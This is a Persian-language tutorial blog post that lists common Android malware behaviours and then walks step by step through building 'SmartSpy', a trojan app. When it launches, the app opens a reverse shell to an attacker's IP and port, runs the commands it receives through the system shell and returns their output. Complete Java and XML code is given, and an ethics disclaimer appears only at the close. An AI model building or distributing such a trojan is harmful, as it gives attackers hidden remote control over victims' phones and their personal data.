بد افزارهای اندرویدی
در این مقاله قصد داریم به تکنیک های معمول و پایه ای استفاده شده در ساخت و بررسی بد افزار ها در اندروید صحبت کنیم و در ادامه یک نمونه از بد افزار که یک شل بازگشتی (reverse shell) از گوشی قربانی را به مهاجم (attacker) میدهد خواهیم ساخت.
امروزه ویروس ها میتونن کامپیوترهای پر طرفدار (منظور کامپیوترهاییه که بیشتر مردم استفاده میکنن) رو آلوده کنند.
با تکامل یافتن تلفن های هوشمند ، این حقیقت ثابت شده که به صورت گسترده بد افزار های موبایلی میتونن تلفن های هوشمند رو هم آلوده کنن و این موضوع در حال پیشرفت می باشد.
از آنجایی که اندروید به صورت ذاتی متن باز (open source) هست ، به گسترش دهنده ها (developers) این اجازه رو میده که به API های حساس دسترسی داشته باشند که این یک هدف برای مجرمان سایبری به شمار میاد.
بد افزار ها چگونه کار می کنند؟
اساسا بد افزار های موبایلی چیزی بجز بد افزار های سنتی که روی دستگاه قربانی نصب می شود نیست! (یعنی این بد افزاری که روی موبایل هاست به همون روشی کار میکنه که رو دستگاههای سنتی کار میکردن).
عملکرد بد افزار به این بستگی داره که نویسنده ی اون به دنبال چی باشه! (بستگی داره میخواد چه ضرری رو به شما برسونه یا از چه چیزی سو استفاده کنه)
ویژگی های بد افزار ها به صورت زیر است. آنها را به خاطر بسپارید!
۱- دزدین اطلاعات شخی شما و ارسال اون به سرور مهاجم!(اطلاعاتی از قبیل پیامک ها ، تماس ها ، مخاطبین ، تصاویر ، فیلم ها ، صداهای ضبط شده ، تاریخچه ی مرورگر ، IMEI و حتی مکان شما! )
۲-ارسال پیامک های تبلیغاتی که برای شما هزینه بر است.
۳-روت کردن دستگاه شما!
۴- دادن یک دسترسی کامل به مهاجم جهت کنترل دستگاه شما
۵-نصب برنامه های دیگر بدون رضایت کاربر
۶-خدمت گرفتن از گوشی شما برای تبلیغات (اخیرا برنامه هایی رو دیدم که شما در حال انجام هر کاری باشین یهو شمارو میاره توی تلگرام و یک کانال رو بهتون معرفی میکنه که عضو بشین و هر سری کانال ها متفاوت ان!)
۷-دزدیدن اطلاعات بانکی شما!
حالا وقت این رسیده که یک نمونه از بد افزار ها رو باهم بررسی کنیم:
در اولین قدم یک پروژه در اندروید استدیو بسازید و اسمش رو SmartSpy بزارید.
در قدم دوم در مسیر layout یک فایل با نام activity_main.xml می سازیم و کد زیر رو داخلش می نویسیم.
<RelativeLayout xmlns:android= "http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" android:paddingLeft="@dimen/activity_horizontal_margin" android:paddingRight= "@dimen/activity_horizontal_margin" android:paddingTop="@dimen/activity_vertical_margin" android:paddingBottom="@dimen/activity_vertical_margin" tools:context=".MainActivity"> <TextView android:text="Trojan Demo" android:layout_width="wrap_content" android:layout_height="wrap_content" /> </RelativeLayout>
اگر این فایل موجود بود فقط مقدار متن textview را از Hello World به Trojan Demo تغییر دهید.
حالا فایل MainActivity.java رو باز کنید و کد زیر رو داخلش قرار بدید :
public class MainActivity extends AppCompatActivity{ PrintWriter out; BufferedReader in; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); getReverseShell(); }
متد getReverseShell() رو بیرون onCreate به صورت زیر می نویسیم.
private void getReverseShell() { Thread thread = new Thread() { @Override public void run() { String SERVERIP = "10.1.1.4"; int PORT = 1337; try { InetAddress HOST = InetAddress.getByName(SERVERIP); Socket socket = new Socket(HOST, PORT); Log.d("TCP CONNECTION", String.format("Connecting to %s:%d (TCP)", HOST, PORT)); while (true) { out = new PrintWriter(new BufferedWriter(new OutputStreamWriter(socket.getOutputStream())), true); in = new BufferedReader(new InputStreamReader(socket.getInputStream())); String command = in.readLine(); Process process = Runtime.getRuntime().exec(new String[]{"/system/bin/sh", "-c", command}); BufferedReader reader = new BufferedReader( new InputStreamReader(process.getInputStream())); int read; char[] buffer = new char[4096]; StringBuffer output = new StringBuffer(); while ((read = reader.read(buffer)) > 0) { output.append(buffer, 0, read); } reader.close(); String commandoutput = output.toString(); process.waitFor(); if (commandoutput != null) { sendOutput(commandoutput); } out = null; } } catch (Exception e) { e.printStackTrace(); } } }; thread.start(); }
ما یه ترد جدید میسازیم که برای کار با شبکه بر روی ترد اصلی نباشیم که خطا دریافت کنیم و بعد کرش داشته باشیم.
حالا ip و port سرور مهاجم رو( طبق سروری که خودمون میخواهیم تغییر بدیم) وارد میکنیم.
ما دو شی ازکلاس های PrintWriter و BufferedReader داریم که شی out برای ارسال دستور به سرور مهاجم و in برای دریافت دستور از سرور مهاجم بکار میره.
حالا میتونیم با شی ای از کلاس InputStreamReader دستور رو توی یک رشته به اسم command ذخیره کنیم.
دستورات دریافت شده در جاوا با متد exec () اجرا میکنیم.دستور گرفته شده ی بالا رو به صورت زیر اجرا میکنیم و دراین “/system/bin/sh” ادرس ذخیره میکنیم
Process process = Runtime.getRuntime().exec(new String[]{"/system/ bin/sh", "-c", command});
با کد زیر خروجی دستور اجرا شده رو دریافت میکنیم
BufferedReader reader = new BufferedReader( new InputStreamReader(process.getInputStream())); int read; char[] buffer = new char[4096]; StringBuffer output = new StringBuffer(); while ((read = reader.read(buffer)) > 0) { output.append(buffer, 0, read); } reader.close();
و با این کد String commandoutput = output.toString(); به رشته تبدیل میکنیم.
process.waitFor(); به اجرای دستور پایان میده.
در نهایت با یک شرط بررسی میکنیم که خروجی ای از انجام این دستور داریم یا نه
if (commandoutput != null) { sendOutput(commandoutput); } out = null;
با این کد خروجی دستور رو برای مهاجم ارسال میکنیم.
این متد را نیز باید تعریف کرد
private void sendOutput(String commandoutput) { if (out != null && !out.checkError()) { out.println(commandoutput); out.flush(); } }
فراموش نکنید که به اینترنت نیاز داریم پس باید مجوز آن را بگیریم.
<uses-permission android:name="android.permission.INTERNET"></usespermission>
این مقاله هم به پایان رسید.
انجام اینگونه کار ها اصلا اخلاقی نیست و واس خودش یه پا اختلاسه!
پس هیچوقت یک برنامه نویس اختلاس کننده نباشید.
در آینده با مباحث بیشتری راجع به بد افزار ها آشنا میشیم.
امیدوارم از این مقاله ی zero to hero خوشتون اومده باشه.
خدانگهدارتان
دیدگاهتان را بنویسید
برای نوشتن دیدگاه باید وارد بشوید.